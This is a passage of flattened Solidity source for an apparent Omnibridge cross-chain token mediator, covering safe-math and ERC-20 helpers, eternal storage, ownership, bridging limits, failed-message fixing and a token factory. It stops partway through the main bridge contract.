} | 1 | 3,548 |
pragma solidity ^0.7.0;
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
pragma solidity 0.7.5;
contract EternalStorage {
mapping(bytes32 => uint256) internal uintStorage;
mapping(bytes32 => string) internal stringStorage;
mapping(bytes32 => address) internal addressStorage;
mapping(bytes32 => bytes) internal bytesStorage;
mapping(bytes32 => bool) internal boolStorage;
mapping(bytes32 => int256) internal intStorage;
}
pragma solidity 0.7.5;
contract Initializable is EternalStorage {
bytes32 internal constant INITIALIZED = 0x0a6f646cd611241d8073675e00d1a1ff700fbf1b53fcf473de56d1e6e4b714ba;
function setInitialize() internal {
boolStorage[INITIALIZED] = true;
}
function isInitialized() public view returns (bool) {
return boolStorage[INITIALIZED];
}
}
pragma solidity 0.7.5;
interface IUpgradeabilityOwnerStorage {
function upgradeabilityOwner() external view returns (address);
}
pragma solidity 0.7.5;
contract Upgradeable {
modifier onlyIfUpgradeabilityOwner() {
require(msg.sender == IUpgradeabilityOwnerStorage(address(this)).upgradeabilityOwner());
_;
}
}
pragma solidity ^0.7.0;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
pragma solidity ^0.7.0;
library Address {
function isContract(address account) internal view returns (bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
if (returndata.length > 0) {
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
pragma solidity ^0.7.0;
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint256 value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function _callOptionalReturn(IERC20 token, bytes memory data) private {
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
pragma solidity 0.7.5;
contract Sacrifice {
constructor(address payable _recipient) payable {
selfdestruct(_recipient);
}
}
pragma solidity 0.7.5;
library AddressHelper {
function safeSendValue(address payable _receiver, uint256 _value) internal {
if (!(_receiver).send(_value)) {
new Sacrifice{ value: _value }(_receiver);
}
}
}
pragma solidity 0.7.5;
contract Claimable {
using SafeERC20 for IERC20;
modifier validAddress(address _to) {
require(_to != address(0));
_;
}
function claimValues(address _token, address _to) internal validAddress(_to) {
if (_token == address(0)) {
claimNativeCoins(_to);
} else {
claimErc20Tokens(_token, _to);
}
}
function claimNativeCoins(address _to) internal {
uint256 value = address(this).balance;
AddressHelper.safeSendValue(payable(_to), value);
}
function claimErc20Tokens(address _token, address _to) internal {
IERC20 token = IERC20(_token);
uint256 balance = token.balanceOf(address(this));
token.safeTransfer(_to, balance);
}
}
pragma solidity 0.7.5;
contract BridgedTokensRegistry is EternalStorage {
event NewTokenRegistered(address indexed nativeToken, address indexed bridgedToken);
function bridgedTokenAddress(address _nativeToken) public view returns (address) {
return addressStorage[keccak256(abi.encodePacked("homeTokenAddress", _nativeToken))];
}
function nativeTokenAddress(address _bridgedToken) public view returns (address) {
return addressStorage[keccak256(abi.encodePacked("foreignTokenAddress", _bridgedToken))];
}
function _setTokenAddressPair(address _nativeToken, address _bridgedToken) internal {
addressStorage[keccak256(abi.encodePacked("homeTokenAddress", _nativeToken))] = _bridgedToken;
addressStorage[keccak256(abi.encodePacked("foreignTokenAddress", _bridgedToken))] = _nativeToken;
emit NewTokenRegistered(_nativeToken, _bridgedToken);
}
}
pragma solidity 0.7.5;
contract NativeTokensRegistry is EternalStorage {
function isBridgedTokenDeployAcknowledged(address _token) public view returns (bool) {
return boolStorage[keccak256(abi.encodePacked("ackDeploy", _token))];
}
function _ackBridgedTokenDeploy(address _token) internal {
if (!boolStorage[keccak256(abi.encodePacked("ackDeploy", _token))]) {
boolStorage[keccak256(abi.encodePacked("ackDeploy", _token))] = true;
}
}
}
pragma solidity 0.7.5;
contract MediatorBalanceStorage is EternalStorage {
function mediatorBalance(address _token) public view returns (uint256) {
return uintStorage[keccak256(abi.encodePacked("mediatorBalance", _token))];
}
function _setMediatorBalance(address _token, uint256 _balance) internal {
uintStorage[keccak256(abi.encodePacked("mediatorBalance", _token))] = _balance;
}
}
pragma solidity 0.7.5;
interface IERC677 is IERC20 {
event Transfer(address indexed from, address indexed to, uint256 value, bytes data);
function transferAndCall(
address to,
uint256 value,
bytes calldata data
) external returns (bool);
function increaseAllowance(address spender, uint256 addedValue) external returns (bool);
function decreaseAllowance(address spender, uint256 subtractedValue) external returns (bool);
}
pragma solidity 0.7.5;
library Bytes {
function bytesToAddress(bytes memory _bytes) internal pure returns (address addr) {
assembly {
addr := mload(add(_bytes, 20))
}
}
}
pragma solidity 0.7.5;
contract ReentrancyGuard {
function lock() internal view returns (bool res) {
assembly {
res := sload(0x6168652c307c1e813ca11cfb3a601f1cf3b22452021a5052d8b05f1f1f8a3e92)
}
}
function setLock(bool _lock) internal {
assembly {
sstore(0x6168652c307c1e813ca11cfb3a601f1cf3b22452021a5052d8b05f1f1f8a3e92, _lock)
}
}
}
pragma solidity 0.7.5;
contract Ownable is EternalStorage {
bytes4 internal constant UPGRADEABILITY_OWNER = 0x6fde8202;
event OwnershipTransferred(address previousOwner, address newOwner);
modifier onlyOwner() {
_onlyOwner();
_;
}
function _onlyOwner() internal view {
require(msg.sender == owner());
}
modifier onlyRelevantSender() {
(bool isProxy, bytes memory returnData) =
address(this).staticcall(abi.encodeWithSelector(UPGRADEABILITY_OWNER));
require(
!isProxy ||
(returnData.length == 32 && msg.sender == abi.decode(returnData, (address))) ||
msg.sender == address(this)
);
_;
}
bytes32 internal constant OWNER = 0x02016836a56b71f0d02689e69e326f4f4c1b9057164ef592671cf0d37c8040c0;
function owner() public view returns (address) {
return addressStorage[OWNER];
}
function transferOwnership(address newOwner) external onlyOwner {
_setOwner(newOwner);
}
function _setOwner(address newOwner) internal {
require(newOwner != address(0));
emit OwnershipTransferred(owner(), newOwner);
addressStorage[OWNER] = newOwner;
}
}
pragma solidity 0.7.5;
interface IAMB {
event UserRequestForAffirmation(bytes32 indexed messageId, bytes encodedData);
event UserRequestForSignature(bytes32 indexed messageId, bytes encodedData);
event AffirmationCompleted(
address indexed sender,
address indexed executor,
bytes32 indexed messageId,
bool status
);
event RelayedMessage(address indexed sender, address indexed executor, bytes32 indexed messageId, bool status);
function messageSender() external view returns (address);
function maxGasPerTx() external view returns (uint256);
function transactionHash() external view returns (bytes32);
function messageId() external view returns (bytes32);
function messageSourceChainId() external view returns (bytes32);
function messageCallStatus(bytes32 _messageId) external view returns (bool);
function failedMessageDataHash(bytes32 _messageId) external view returns (bytes32);
function failedMessageReceiver(bytes32 _messageId) external view returns (address);
function failedMessageSender(bytes32 _messageId) external view returns (address);
function requireToPassMessage(
address _contract,
bytes calldata _data,
uint256 _gas
) external returns (bytes32);
function requireToConfirmMessage(
address _contract,
bytes calldata _data,
uint256 _gas
) external returns (bytes32);
function sourceChainId() external view returns (uint256);
function destinationChainId() external view returns (uint256);
}
pragma solidity 0.7.5;
abstract contract BasicAMBMediator is Ownable {
bytes32 internal constant BRIDGE_CONTRACT = 0x811bbb11e8899da471f0e69a3ed55090fc90215227fc5fb1cb0d6e962ea7b74f;
bytes32 internal constant MEDIATOR_CONTRACT = 0x98aa806e31e94a687a31c65769cb99670064dd7f5a87526da075c5fb4eab9880;
modifier onlyMediator {
_onlyMediator();
_;
}
function _onlyMediator() internal view {
IAMB bridge = bridgeContract();
require(msg.sender == address(bridge));
require(bridge.messageSender() == mediatorContractOnOtherSide());
}
function setBridgeContract(address _bridgeContract) external onlyOwner {
_setBridgeContract(_bridgeContract);
}
function setMediatorContractOnOtherSide(address _mediatorContract) external onlyOwner {
_setMediatorContractOnOtherSide(_mediatorContract);
}
function bridgeContract() public view returns (IAMB) {
return IAMB(addressStorage[BRIDGE_CONTRACT]);
}
function mediatorContractOnOtherSide() public view virtual returns (address) {
return addressStorage[MEDIATOR_CONTRACT];
}
function _setBridgeContract(address _bridgeContract) internal {
require(Address.isContract(_bridgeContract));
addressStorage[BRIDGE_CONTRACT] = _bridgeContract;
}
function _setMediatorContractOnOtherSide(address _mediatorContract) internal {
addressStorage[MEDIATOR_CONTRACT] = _mediatorContract;
}
function messageId() internal view returns (bytes32) {
return bridgeContract().messageId();
}
function maxGasPerTx() internal view returns (uint256) {
return bridgeContract().maxGasPerTx();
}
function _passMessage(bytes memory _data, bool _useOracleLane) internal virtual returns (bytes32);
}
pragma solidity 0.7.5;
abstract contract TokensRelayer is BasicAMBMediator, ReentrancyGuard {
using SafeMath for uint256;
using SafeERC20 for IERC677;
function onTokenTransfer(
address _from,
uint256 _value,
bytes memory _data
) external returns (bool) {
if (!lock()) {
bytes memory data = new bytes(0);
address receiver = _from;
if (_data.length >= 20) {
receiver = Bytes.bytesToAddress(_data);
if (_data.length > 20) {
assembly {
let size := sub(mload(_data), 20)
data := add(_data, 20)
mstore(data, size)
}
}
}
bridgeSpecificActionsOnTokenTransfer(msg.sender, _from, receiver, _value, data);
}
return true;
}
function relayTokens(
IERC677 token,
address _receiver,
uint256 _value
) external {
_relayTokens(token, _receiver, _value, new bytes(0));
}
function relayTokens(IERC677 token, uint256 _value) external {
_relayTokens(token, msg.sender, _value, new bytes(0));
}
function relayTokensAndCall(
IERC677 token,
address _receiver,
uint256 _value,
bytes memory _data
) external {
_relayTokens(token, _receiver, _value, _data);
}
function _relayTokens(
IERC677 token,
address _receiver,
uint256 _value,
bytes memory _data
) internal {
require(!lock());
uint256 balanceBefore = token.balanceOf(address(this));
setLock(true);
token.safeTransferFrom(msg.sender, address(this), _value);
setLock(false);
uint256 balanceDiff = token.balanceOf(address(this)).sub(balanceBefore);
require(balanceDiff <= _value);
bridgeSpecificActionsOnTokenTransfer(address(token), msg.sender, _receiver, balanceDiff, _data);
}
function bridgeSpecificActionsOnTokenTransfer(
address _token,
address _from,
address _receiver,
uint256 _value,
bytes memory _data
) internal virtual;
}
pragma solidity 0.7.5;
interface VersionableBridge {
function getBridgeInterfacesVersion()
external
pure
returns (
uint64 major,
uint64 minor,
uint64 patch
);
function getBridgeMode() external pure returns (bytes4);
}
pragma solidity 0.7.5;
contract OmnibridgeInfo is VersionableBridge {
event TokensBridgingInitiated(
address indexed token,
address indexed sender,
uint256 value,
bytes32 indexed messageId
);
event TokensBridged(address indexed token, address indexed recipient, uint256 value, bytes32 indexed messageId);
function getBridgeInterfacesVersion()
external
pure
override
returns (
uint64 major,
uint64 minor,
uint64 patch
)
{
return (3, 0, 2);
}
function getBridgeMode() external pure override returns (bytes4 _data) {
return 0xb1516c26;
}
}
pragma solidity 0.7.5;
contract TokensBridgeLimits is EternalStorage, Ownable {
using SafeMath for uint256;
event DailyLimitChanged(address indexed token, uint256 newLimit);
event ExecutionDailyLimitChanged(address indexed token, uint256 newLimit);
function isTokenRegistered(address _token) public view returns (bool) {
return minPerTx(_token) > 0;
}
function totalSpentPerDay(address _token, uint256 _day) public view returns (uint256) {
return uintStorage[keccak256(abi.encodePacked("totalSpentPerDay", _token, _day))];
}
function totalExecutedPerDay(address _token, uint256 _day) public view returns (uint256) {
return uintStorage[keccak256(abi.encodePacked("totalExecutedPerDay", _token, _day))];
}
function dailyLimit(address _token) public view returns (uint256) {
return uintStorage[keccak256(abi.encodePacked("dailyLimit", _token))];
}
function executionDailyLimit(address _token) public view returns (uint256) {
return uintStorage[keccak256(abi.encodePacked("executionDailyLimit", _token))];
}
function maxPerTx(address _token) public view returns (uint256) {
return uintStorage[keccak256(abi.encodePacked("maxPerTx", _token))];
}
function executionMaxPerTx(address _token) public view returns (uint256) {
return uintStorage[keccak256(abi.encodePacked("executionMaxPerTx", _token))];
}
function minPerTx(address _token) public view returns (uint256) {
uint256 limit = uintStorage[keccak256(abi.encodePacked("minPerTx", _token))];
if (_token == address(0)) {
return limit;
}
return limit > 0 ? 1 : 0;
}
function withinLimit(address _token, uint256 _amount) public view returns (bool) {
uint256 nextLimit = totalSpentPerDay(_token, getCurrentDay()).add(_amount);
return
dailyLimit(address(0)) > 0 &&
dailyLimit(_token) >= nextLimit &&
_amount <= maxPerTx(_token) &&
_amount >= minPerTx(_token);
}
function withinExecutionLimit(address _token, uint256 _amount) public view returns (bool) {
uint256 nextLimit = totalExecutedPerDay(_token, getCurrentDay()).add(_amount);
return
executionDailyLimit(address(0)) > 0 &&
executionDailyLimit(_token) >= nextLimit &&
_amount <= executionMaxPerTx(_token);
}
function getCurrentDay() public view returns (uint256) {
return block.timestamp / 1 days;
}
function setDailyLimit(address _token, uint256 _dailyLimit) external onlyOwner {
require(isTokenRegistered(_token));
require(_dailyLimit > maxPerTx(_token) || _dailyLimit == 0);
uintStorage[keccak256(abi.encodePacked("dailyLimit", _token))] = _dailyLimit;
emit DailyLimitChanged(_token, _dailyLimit);
}
function setExecutionDailyLimit(address _token, uint256 _dailyLimit) external onlyOwner {
require(isTokenRegistered(_token));
require(_dailyLimit > executionMaxPerTx(_token) || _dailyLimit == 0);
uintStorage[keccak256(abi.encodePacked("executionDailyLimit", _token))] = _dailyLimit;
emit ExecutionDailyLimitChanged(_token, _dailyLimit);
}
function setExecutionMaxPerTx(address _token, uint256 _maxPerTx) external onlyOwner {
require(isTokenRegistered(_token));
require(_maxPerTx == 0 || (_maxPerTx > 0 && _maxPerTx < executionDailyLimit(_token)));
uintStorage[keccak256(abi.encodePacked("executionMaxPerTx", _token))] = _maxPerTx;
}
function setMaxPerTx(address _token, uint256 _maxPerTx) external onlyOwner {
require(isTokenRegistered(_token));
require(_maxPerTx == 0 || (_maxPerTx > minPerTx(_token) && _maxPerTx < dailyLimit(_token)));
uintStorage[keccak256(abi.encodePacked("maxPerTx", _token))] = _maxPerTx;
}
function setMinPerTx(address _token, uint256 _minPerTx) external onlyOwner {
require(isTokenRegistered(_token));
require(_minPerTx > 0 && _minPerTx < dailyLimit(_token) && _minPerTx < maxPerTx(_token));
uintStorage[keccak256(abi.encodePacked("minPerTx", _token))] = _minPerTx;
}
function maxAvailablePerTx(address _token) public view returns (uint256) {
uint256 _maxPerTx = maxPerTx(_token);
uint256 _dailyLimit = dailyLimit(_token);
uint256 _spent = totalSpentPerDay(_token, getCurrentDay());
uint256 _remainingOutOfDaily = _dailyLimit > _spent ? _dailyLimit - _spent : 0;
return _maxPerTx < _remainingOutOfDaily ? _maxPerTx : _remainingOutOfDaily;
}
function addTotalSpentPerDay(
address _token,
uint256 _day,
uint256 _value
) internal {
uintStorage[keccak256(abi.encodePacked("totalSpentPerDay", _token, _day))] = totalSpentPerDay(_token, _day).add(
_value
);
}
function addTotalExecutedPerDay(
address _token,
uint256 _day,
uint256 _value
) internal {
uintStorage[keccak256(abi.encodePacked("totalExecutedPerDay", _token, _day))] = totalExecutedPerDay(
_token,
_day
)
.add(_value);
}
function _setLimits(address _token, uint256[3] memory _limits) internal {
require(
_limits[2] > 0 &&
_limits[1] > _limits[2] &&
_limits[0] > _limits[1]
);
uintStorage[keccak256(abi.encodePacked("dailyLimit", _token))] = _limits[0];
uintStorage[keccak256(abi.encodePacked("maxPerTx", _token))] = _limits[1];
uintStorage[keccak256(abi.encodePacked("minPerTx", _token))] = _limits[2];
emit DailyLimitChanged(_token, _limits[0]);
}
function _setExecutionLimits(address _token, uint256[2] memory _limits) internal {
require(_limits[1] < _limits[0]);
uintStorage[keccak256(abi.encodePacked("executionDailyLimit", _token))] = _limits[0];
uintStorage[keccak256(abi.encodePacked("executionMaxPerTx", _token))] = _limits[1];
emit ExecutionDailyLimitChanged(_token, _limits[0]);
}
function _initializeTokenBridgeLimits(address _token, uint256 _decimals) internal {
uint256 factor;
if (_decimals < 18) {
factor = 10**(18 - _decimals);
uint256 _minPerTx = minPerTx(address(0)).div(factor);
uint256 _maxPerTx = maxPerTx(address(0)).div(factor);
uint256 _dailyLimit = dailyLimit(address(0)).div(factor);
uint256 _executionMaxPerTx = executionMaxPerTx(address(0)).div(factor);
uint256 _executionDailyLimit = executionDailyLimit(address(0)).div(factor);
if (_minPerTx == 0) {
_minPerTx = 1;
if (_maxPerTx <= _minPerTx) {
_maxPerTx = 100;
_executionMaxPerTx = 100;
if (_dailyLimit <= _maxPerTx || _executionDailyLimit <= _executionMaxPerTx) {
_dailyLimit = 10000;
_executionDailyLimit = 10000;
}
}
}
_setLimits(_token, [_dailyLimit, _maxPerTx, _minPerTx]);
_setExecutionLimits(_token, [_executionDailyLimit, _executionMaxPerTx]);
} else {
factor = 10**(_decimals - 18);
_setLimits(
_token,
[dailyLimit(address(0)).mul(factor), maxPerTx(address(0)).mul(factor), minPerTx(address(0)).mul(factor)]
);
_setExecutionLimits(
_token,
[executionDailyLimit(address(0)).mul(factor), executionMaxPerTx(address(0)).mul(factor)]
);
}
}
}
pragma solidity 0.7.5;
abstract contract BridgeOperationsStorage is EternalStorage {
function setMessageToken(bytes32 _messageId, address _token) internal {
addressStorage[keccak256(abi.encodePacked("messageToken", _messageId))] = _token;
}
function messageToken(bytes32 _messageId) internal view returns (address) {
return addressStorage[keccak256(abi.encodePacked("messageToken", _messageId))];
}
function setMessageValue(bytes32 _messageId, uint256 _value) internal {
uintStorage[keccak256(abi.encodePacked("messageValue", _messageId))] = _value;
}
function messageValue(bytes32 _messageId) internal view returns (uint256) {
return uintStorage[keccak256(abi.encodePacked("messageValue", _messageId))];
}
function setMessageRecipient(bytes32 _messageId, address _recipient) internal {
addressStorage[keccak256(abi.encodePacked("messageRecipient", _messageId))] = _recipient;
}
function messageRecipient(bytes32 _messageId) internal view returns (address) {
return addressStorage[keccak256(abi.encodePacked("messageRecipient", _messageId))];
}
}
pragma solidity 0.7.5;
abstract contract FailedMessagesProcessor is BasicAMBMediator, BridgeOperationsStorage {
event FailedMessageFixed(bytes32 indexed messageId, address token, address recipient, uint256 value);
function requestFailedMessageFix(bytes32 _messageId) external {
IAMB bridge = bridgeContract();
require(!bridge.messageCallStatus(_messageId));
require(bridge.failedMessageReceiver(_messageId) == address(this));
require(bridge.failedMessageSender(_messageId) == mediatorContractOnOtherSide());
bytes4 methodSelector = this.fixFailedMessage.selector;
bytes memory data = abi.encodeWithSelector(methodSelector, _messageId);
_passMessage(data, true);
}
function fixFailedMessage(bytes32 _messageId) public onlyMediator {
require(!messageFixed(_messageId));
address token = messageToken(_messageId);
address recipient = messageRecipient(_messageId);
uint256 value = messageValue(_messageId);
setMessageFixed(_messageId);
executeActionOnFixedTokens(token, recipient, value);
emit FailedMessageFixed(_messageId, token, recipient, value);
}
function messageFixed(bytes32 _messageId) public view returns (bool) {
return boolStorage[keccak256(abi.encodePacked("messageFixed", _messageId))];
}
function setMessageFixed(bytes32 _messageId) internal {
boolStorage[keccak256(abi.encodePacked("messageFixed", _messageId))] = true;
}
function executeActionOnFixedTokens(
address _token,
address _recipient,
uint256 _value
) internal virtual;
}
pragma solidity 0.7.5;
abstract contract Proxy {
function implementation() public view virtual returns (address);
fallback() external payable {
address _impl = implementation();
require(_impl != address(0));
assembly {
let ptr := mload(0x40)
calldatacopy(ptr, 0, calldatasize())
let result := delegatecall(gas(), _impl, ptr, calldatasize(), 0, 0)
mstore(0x40, add(ptr, returndatasize()))
returndatacopy(ptr, 0, returndatasize())
switch result
case 0 {
revert(ptr, returndatasize())
}
default {
return(ptr, returndatasize())
}
}
}
}
pragma solidity 0.7.5;
interface IPermittableTokenVersion {
function version() external pure returns (string memory);
}
contract TokenProxy is Proxy {
string internal name;
string internal symbol;
uint8 internal decimals;
mapping(address => uint256) internal balances;
uint256 internal totalSupply;
mapping(address => mapping(address => uint256)) internal allowed;
address internal owner;
bool internal mintingFinished;
address internal bridgeContractAddr;
bytes32 internal DOMAIN_SEPARATOR;
mapping(address => uint256) internal nonces;
mapping(address => mapping(address => uint256)) internal expirations;
constructor(
address _tokenImage,
string memory _name,
string memory _symbol,
uint8 _decimals,
uint256 _chainId,
address _owner
) {
string memory version = IPermittableTokenVersion(_tokenImage).version();
assembly {
sstore(0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc, _tokenImage)
}
name = _name;
symbol = _symbol;
decimals = _decimals;
owner = _owner;
bridgeContractAddr = _owner;
DOMAIN_SEPARATOR = keccak256(
abi.encode(
keccak256("EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)"),
keccak256(bytes(_name)),
keccak256(bytes(version)),
_chainId,
address(this)
)
);
}
function implementation() public view override returns (address impl) {
assembly {
impl := sload(0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc)
}
}
}
pragma solidity 0.7.5;
contract OwnableModule {
address public owner;
constructor(address _owner) {
owner = _owner;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function transferOwnership(address _newOwner) external onlyOwner {
owner = _newOwner;
}
}
pragma solidity 0.7.5;
contract TokenFactory is OwnableModule {
address public tokenImage;
constructor(address _owner, address _tokenImage) OwnableModule(_owner) {
tokenImage = _tokenImage;
}
function setTokenImage(address _tokenImage) external onlyOwner {
require(Address.isContract(_tokenImage));
tokenImage = _tokenImage;
}
function deploy(
string calldata _name,
string calldata _symbol,
uint8 _decimals,
uint256 _chainId
) external returns (address) {
return address(new TokenProxy(tokenImage, _name, _symbol, _decimals, _chainId, msg.sender));
}
}
pragma solidity 0.7.5;
contract TokenFactoryConnector is Ownable {
bytes32 internal constant TOKEN_FACTORY_CONTRACT =
0x269c5905f777ee6391c7a361d17039a7d62f52ba9fffeb98c5ade342705731a3;
function setTokenFactory(address _tokenFactory) external onlyOwner {
_setTokenFactory(_tokenFactory);
}
function tokenFactory() public view returns (TokenFactory) {
return TokenFactory(addressStorage[TOKEN_FACTORY_CONTRACT]);
}
function _setTokenFactory(address _tokenFactory) internal {
require(Address.isContract(_tokenFactory));
addressStorage[TOKEN_FACTORY_CONTRACT] = _tokenFactory;
}
}
pragma solidity 0.7.5;
interface IBurnableMintableERC677Token is IERC677 {
function mint(address _to, uint256 _amount) external returns (bool);
function burn(uint256 _value) external;
function claimTokens(address _token, address _to) external;
}
pragma solidity 0.7.5;
interface IERC20Metadata {
function name() external view returns (string memory);
function symbol() external view returns (string memory);
function decimals() external view returns (uint8);
}
pragma solidity 0.7.5;
interface IERC20Receiver {
function onTokenBridged(
address token,
uint256 value,
bytes calldata data
) external;
}
pragma solidity 0.7.5;
interface ITokenDetails {
function name() external view;
function NAME() external view;
function symbol() external view;
function SYMBOL() external view;
function decimals() external view;
function DECIMALS() external view;
}
library TokenReader {
function readName(address _token) internal view returns (string memory) {
(bool status, bytes memory data) = _token.staticcall(abi.encodeWithSelector(ITokenDetails.name.selector));
if (!status) {
(status, data) = _token.staticcall(abi.encodeWithSelector(ITokenDetails.NAME.selector));
if (!status) {
return "";
}
}
return _convertToString(data);
}
function readSymbol(address _token) internal view returns (string memory) {
(bool status, bytes memory data) = _token.staticcall(abi.encodeWithSelector(ITokenDetails.symbol.selector));
if (!status) {
(status, data) = _token.staticcall(abi.encodeWithSelector(ITokenDetails.SYMBOL.selector));
if (!status) {
return "";
}
}
return _convertToString(data);
}
function readDecimals(address _token) internal view returns (uint8) {
(bool status, bytes memory data) = _token.staticcall(abi.encodeWithSelector(ITokenDetails.decimals.selector));
if (!status) {
(status, data) = _token.staticcall(abi.encodeWithSelector(ITokenDetails.DECIMALS.selector));
if (!status) {
return 0;
}
}
return abi.decode(data, (uint8));
}
function _convertToString(bytes memory returnData) private pure returns (string memory) {
if (returnData.length > 32) {
return abi.decode(returnData, (string));
} else if (returnData.length == 32) {
bytes32 data = abi.decode(returnData, (bytes32));
string memory res = new string(32);
assembly {
let len := 0
mstore(add(res, 32), data)
for { } gt(data, 0) { len := add(len, 1) } {
data := shl(8, data)
}
mstore(res, len)
}
return res;
} else {
return "";
}
}
}
pragma solidity 0.7.5;
library SafeMint {
function safeMint(
IBurnableMintableERC677Token _token,
address _to,
uint256 _value
) internal {
require(_token.mint(_to, _value));
}
}
pragma solidity 0.7.5;
abstract contract BasicOmnibridge is
Initializable,
Upgradeable,
Claimable,
OmnibridgeInfo,
TokensRelayer,
FailedMessagesProcessor,
BridgedTokensRegistry,
NativeTokensRegistry,
MediatorBalanceStorage,
TokenFactoryConnector,
TokensBridgeLimits
{
using SafeERC20 for IERC677;
using SafeMint for IBurnableMintableERC677Token;
using SafeMath for uint256;
uint256 private immutable SUFFIX_SIZE;
bytes32 private immutable SUFFIX;
constructor(string memory _suffix) {
require(bytes(_suffix).length <= 32);
bytes32 suffix;
assembly {
suffix := mload(add(_suffix, 32))
}
SUFFIX = suffix;
SUFFIX_SIZE = bytes(_suffix).length;
}
function deployAndHandleBridgedTokens(
address _token,
string calldata _name,
string calldata _symbol,
uint8 _decimals,
address _recipient,
uint256 _value
) external onlyMediator {
address bridgedToken = _getBridgedTokenOrDeploy(_token, _name, _symbol, _decimals);
_handleTokens(bridgedToken, false, _recipient, _value);
}
function deployAndHandleBridgedTokensAndCall(
address _token,
string calldata _name,
string calldata _symbol,
uint8 _decimals,
address _recipient,
uint256 _value,
bytes calldata _data
) external onlyMediator {
address bridgedToken = _getBridgedTokenOrDeploy(_token, _name, _symbol, _decimals);
_handleTokens(bridgedToken, false, _recipient, _value);
_receiverCallback(_recipient, bridgedToken, _value, _data);
}
function handleBridgedTokens(
address _token,
address _recipient,
uint256 _value
) external onlyMediator {
address token = bridgedTokenAddress(_token);
require(isTokenRegistered(token));
_handleTokens(token, false, _recipient, _value);
}
function handleBridgedTokensAndCall(
address _token,
address _recipient,
uint256 _value,
bytes memory _data
) external onlyMediator {
address token = bridgedTokenAddress(_token);
require(isTokenRegistered(token));
_handleTokens(token, false, _recipient, _value);
_receiverCallback(_recipient, token, _value, _data);
}
function handleNativeTokens(
address _token,
address _recipient,
uint256 _value
) external onlyMediator {
_ackBridgedTokenDeploy(_token);
_handleTokens(_token, true, _recipient, _value);
}
function handleNativeTokensAndCall(
address _token,
address _recipient,
uint256 _value,
bytes memory _data
) external onlyMediator {
_ackBridgedTokenDeploy(_token);
_handleTokens(_token, true, _recipient, _value);
_receiverCallback(_recipient, _token, _value, _data);
}
function isRegisteredAsNativeToken(address _token) public view returns (bool) {
return isTokenRegistered(_token) && nativeTokenAddress(_token) == address(0);
}
function executeActionOnFixedTokens(
address _token,
address _recipient,
uint256 _value
) internal override {
_releaseTokens(nativeTokenAddress(_token) == address(0), _token, _recipient, _value, _value);
}
function setCustomTokenAddressPair(address _nativeToken, address _bridgedToken) external onlyOwner {
